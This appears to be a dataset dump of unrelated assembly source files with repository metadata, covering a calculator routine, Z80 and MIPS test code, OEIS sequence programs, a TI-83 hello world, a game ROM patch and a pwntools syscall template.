%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: makes the e into E in scientific notation
CALLED BY:
PASS:
RETURN:
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CP 6/22/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if (NOT FALSE)
BigCalcProcessConvertToUpper proc far
uses ds,si
.enter
segmov ds, es
mov si, di
call LocalUpcaseString
.leave
ret
BigCalcProcessConvertToUpper endp
endif
ProcessCode ends
| 23.887594 | 79 | 0.606881 |
[
"Apache-2.0"
] |
BOBBYWY/pcgeos
|
Appl/BigCalc/bigcalcProcess.asm
| 34,852 |
Assembly
|
add hl, hl
add hl, hl
add hl, hl
add hl, hl
ld h, l
ld l, 0
----
ld h, l
ld l, 0
add hl, hl
add hl, hl
add hl, hl
add hl, hl
| 13.230769 | 14 | 0.418605 |
[
"Apache-2.0"
] |
cpcitor/mdlz80optimizer
|
src/test/resources/data/searchtests/test-large4-expected.asm
| 172 |
Assembly
|
SECTION code_fp_math32
PUBLIC ___sint2fs_callee
EXTERN cm32_sdcc___sint2fs_callee
defc ___sint2fs_callee = cm32_sdcc___sint2fs_callee
| 21.714286 | 55 | 0.809211 |
[
"BSD-2-Clause"
] |
ByteProject/Puddle-BuildTools
|
FictionTools/z88dk/libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___sint2fs_callee.asm
| 152 |
Assembly
|
; A189379: n+[nr/t]+[ns/t]; r=2, s=(-1+sqrt(5))/2, t=(1+sqrt(5))/2.
; 2,4,7,9,12,15,17,20,23,25,28,30,33,36,38,41,44,46,49,51,54,57,59,62,64,67,70,72,75,78,80,83,85,88,91,93,96,98,101,104,106,109,112,114,117,119,122,125,127,130,133,135,138,140,143,146,148,151,153,156,159,161,164,167,169,172,174,177,180,182,185,187,190,193,195,198,201,203,206,208,211,214,216,219
add $0,15
mov $2,$0
add $0,3
seq $0,66096 ; Duplicate values in A060143.
sub $2,1
add $0,$2
sub $0,41
| 42.454545 | 295 | 0.657388 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/189/A189379.asm
| 467 |
Assembly
|
; A052468: Numerators in the Taylor series for arccosh(x) - log(2*x).
; 1,3,5,35,63,77,429,6435,12155,46189,88179,676039,1300075,5014575,646323,300540195,583401555,756261275,4418157975,6892326441,22427411435,263012370465,514589420475,2687300306925,15801325804719,61989816618513,121683714103007,136583760727865,1879204156221315,7391536347803839,14544636039226909,916312070471295267,601619036168022145,7113260368810144185,2003326389583265097,110628135069209194801,218266320541953276229,861577581086657669325,1701063429324939500975,5375360436666808823081
mov $2,1
add $2,$0
add $0,$2
bin $0,$2
gcd $2,$0
div $0,$2
lpb $0
mov $2,-2
bin $2,$0
div $2,2
sub $0,$2
lpe
| 41.875 | 481 | 0.816418 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/052/A052468.asm
| 670 |
Assembly
|
;
; file: asm_main.asm
; Evaluate:
; A = (A-B) + A + (B - C + D)
; B cancels. (Communitive Property of Addition)
; A = 2A + D - C
%include "asm_io.inc"
%define A ebp+12
%define B ebp+16
%define C ebp+20
%define D ebp+24
;
;---------------------------------------------------
; initialized data is put in the .data segment
;
segment .data
;---------------------------------------------------
; uninitialized data is put in the .bss segment
;
segment .bss
;
;---------------------------------------------------
; code is put in the .text segment
;
segment .text
global asm_main
asm_main:
;---------------------------------------------------
; PROLOGUE ;
;---------------------------------------------------
; VAR TABLE
; ====================
; EBP+4 | Ret EBP |
; EBP+8 | Ret Addr |
; EBP+12| Param 1 | A
; EBP+16| Param 2 | B
; EBP+20| Param 3 | C
; EBP+24| Param 4 | D
enter 0,0 ; setup routine
push ebp ; save ebp.
mov ebp, esp ; new EBP = ESP
;---------------------------------------------------
; FUNCTION ;
;---------------------------------------------------
mov eax, [A] ; eax = A
add eax, [A] ; eax += A
add eax, [D] ; eax += D
sub eax, [C] ; eax -= C
;---------------------------------------------------
; EPILOGUE ;
;---------------------------------------------------
; Return A in eax to C.
pop ebp ; restore ebp.
leave
ret
| 23.112903 | 52 | 0.364969 |
[
"Unlicense"
] |
CISVVC/cis208-expression-project-Sprigg-Matthew
|
asm_main.asm
| 1,433 |
Assembly
|
lui $t0 0xf65b
ori $t1 $0 0xabfe
ori $t2 $0 0x3000
lui $t3 0x49bf
addu $t5 $t1 $t3
#rs Tuse=0, Tnew_E=`ALU
addu $t4 $t1 $t3
beq $t4 $t5 end #cal-beq
subu $t6 $t2 $t3
func:
ori $1 $0 4
subu $31 $31 $1
jr $31 #cal-jr
sw $t4 0($0)
jr $31
end: subu $t6 $t3 $t1
jal func
lui $s0 0x462b
ori $s1 $0 0x336c
subu $s2 $s0 $s1
nop
| 15.380952 | 25 | 0.625387 |
[
"Apache-2.0"
] |
alxzzhou/BUAA_CO_2020
|
P5/P5_TestCode/P5_L1_testcase15/P5_L1_testcase15/mips15.asm
| 323 |
Assembly
|
.nolist
#include "ti83plus.inc"
#define ProgStart $9D95
.list
.org ProgStart - 2
.db t2ByteTok, tAsmCmp
b_call(_ClrLCDFull)
ld hl, 0
ld (PenCol), hl
ld hl, msg
b_call(_PutS) ; Display the text
b_call(_NewLine)
ret
msg:
"Hello world!"
.end
.end
| 18.294118 | 47 | 0.572347 |
[
"BSD-2-Clause"
] |
Megatokio/zasm
|
Test/Z80/ti83plus/Hello.asm
| 311 |
Assembly
|
.386
.model flat,C
PUBLIC ctrlbrk
; Note that while under plain DOS, WDOSX INT23's will be swallowed by wdosx
; either. So, this function has been implemented as a dummy. The handler you
; provide will never be called. I think this is something we can live with.
.code
OurHandler:
and byte ptr [esp+8],0feh
iretd
ctrlbrk proc near
mov edx,offset OurHandler
mov ecx,cs
mov eax,0205h
push ebx
mov bl,23h
int 31h
pop ebx
sbb eax,eax
inc eax
ret
ctrlbrk endp
end
| 14.588235 | 76 | 0.71371 |
[
"Unlicense"
] |
amindlost/wdosx
|
src/src/c/borlandc/dpmi32/ctrlbrk.asm
| 496 |
Assembly
|
; A139179: Number of non-fourth-powers <= n.
; 0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70
mov $2,15
lpb $2,1
mov $2,$0
add $0,1
sub $2,1
lpe
mov $1,$0
sub $1,2
| 27.666667 | 209 | 0.61747 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/139/A139179.asm
| 332 |
Assembly
|
; A166314: Number of 1's in binary expansion of A000124(n).
; 1,1,1,3,3,1,3,4,3,4,3,3,5,4,4,5,3,4,4,7,5,4,7,4,5,4,3,7,6,5,5,6,3,4,4,7,6,3,6,5,6,7,4,7,9,3,5,5,5,5,7,7,6,5,7,4,7,7,5,8,7,6,6,7,3,4,4,7,6,5,7,9,5,6,6,6,9,8,4,6,6,8,6,9,9,5,8,9,8,8,1,6,7,4,6,6,5,5,7,8
mov $2,$0
pow $2,2
add $0,$2
add $0,3
mov $1,$0
lpb $1
div $1,2
sub $0,$1
lpe
sub $0,1
| 25.285714 | 201 | 0.539548 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/166/A166314.asm
| 354 |
Assembly
|
#ruledef test
{
ld {x: u8} =>
{
0x11 @ x`8
}
ld {x: u16} =>
{
0x22 @ x`16
}
ld {x: u24} =>
{
0x33 @ x`24
}
}
ld 0x215 ; = 0x220215
| 10.157895 | 21 | 0.326425 |
[
"Apache-2.0"
] |
Artentus/customasm
|
tests/rule_cascading_size/3.asm
| 193 |
Assembly
|
// Initialize
constant DmaSource(0x00F5F4E0) // DMA copy source
constant DmaDestination(0x80400000) // DMA copy destination
constant DmaSize(DmaEnd - DmaStart) // DMA copy size
origin 0x001234
base 0x80000634
jal Initialize0
origin 0x33204
base 0x80032604
scope Initialize0: {
addiu sp, -0x18
sw ra, 0x14 (sp)
jal DmaCopy // Original instruction
nop
DMA:
li a0, DmaSource // Source
la a1, DmaDestination // Destination
lui a2, (DmaSize >> 16)
jal DmaCopy
ori a2, (DmaSize & 0xFFFF) // Size
jal Initialize1
nop
End:
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x18
}
pullvar pc, origin
scope Initialize1: {
lui t0, 0x8050
sb r0, ExtraStagesFlag (t0) // Extra stages flag
lli t1, 0xFF
sb t1, TrackLast (t0) // Last track variable
sb r0, FrozenStagesFlag (t0) // Frozen stages flag
End:
jr ra
nop
}
pushvar origin, pc
| 19.086957 | 59 | 0.685649 |
[
"MIT"
] |
abitalive/SuperSmashBros
|
Patches/Multiplayer_Hack/ASM/initialize.asm
| 878 |
Assembly
|
; A021271: Decimal expansion of 1/267.
; Submitted by Jon Maiga
; 0,0,3,7,4,5,3,1,8,3,5,2,0,5,9,9,2,5,0,9,3,6,3,2,9,5,8,8,0,1,4,9,8,1,2,7,3,4,0,8,2,3,9,7,0,0,3,7,4,5,3,1,8,3,5,2,0,5,9,9,2,5,0,9,3,6,3,2,9,5,8,8,0,1,4,9,8,1,2,7,3,4,0,8,2,3,9,7,0,0,3,7,4,5,3,1,8,3,5
seq $0,42 ; Unary representation of natural numbers.
mul $0,3
div $0,89
mod $0,10
| 38.555556 | 199 | 0.590778 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/021/A021271.asm
| 347 |
Assembly
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>membarrier(cmd, flags) -> str
Invokes the syscall membarrier.
See 'man 2 membarrier' for more information.
Arguments:
cmd(int): cmd
flags(int): flags
Returns:
int
</%docstring>
<%page args="cmd=0, flags=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['cmd', 'flags']
argument_values = [cmd, flags]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_membarrier']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* membarrier(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)}
| 34.339806 | 87 | 0.63585 |
[
"MIT"
] |
0x3c3e/pwntools
|
pwnlib/shellcraft/templates/common/linux/syscalls/membarrier.asm
| 3,537 |
Assembly
|
PROGRAM 8
LDCB 1
NOT
PUTBYTE
PUTEOL
LDCB 0
NOT
PUTBYTE
PUTEOL
LDGADDR 0
LDCINT 5
STOREW
LDGADDR 4
LDCINT 2
LDGADDR 0
LOADW
MUL
LDCINT 1
SUB
STOREW
L0:
LDGADDR 0
LOADW
LDCINT 2
LDCINT 5
MUL
CMP
BG L1
LDGADDR 0
LDGADDR 0
LOADW
LDCINT 1
ADD
STOREW
LDGADDR 0
LOADW
LDCINT 2
MOD
LDCINT 0
CMP
BNZ L9
LDCSTR "even"
PUTSTR
PUTEOL
BR L10
L9:
LDGADDR 0
LOADW
LDCINT 2
MOD
LDCINT 1
CMP
BNZ L8
LDCSTR "odd"
PUTSTR
PUTEOL
BR L10
L8:
LDCSTR "weird"
PUTSTR
PUTEOL
L10:
LDGADDR 0
LOADW
LDCINT 9
CMP
BZ L1
BR L0
L1:
HALT
| 9.84507 | 17 | 0.55794 |
[
"Unlicense"
] |
SoftMoore/CPRL
|
Student/examples/Correct/CPRL0/Correct_112.asm
| 699 |
Assembly
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.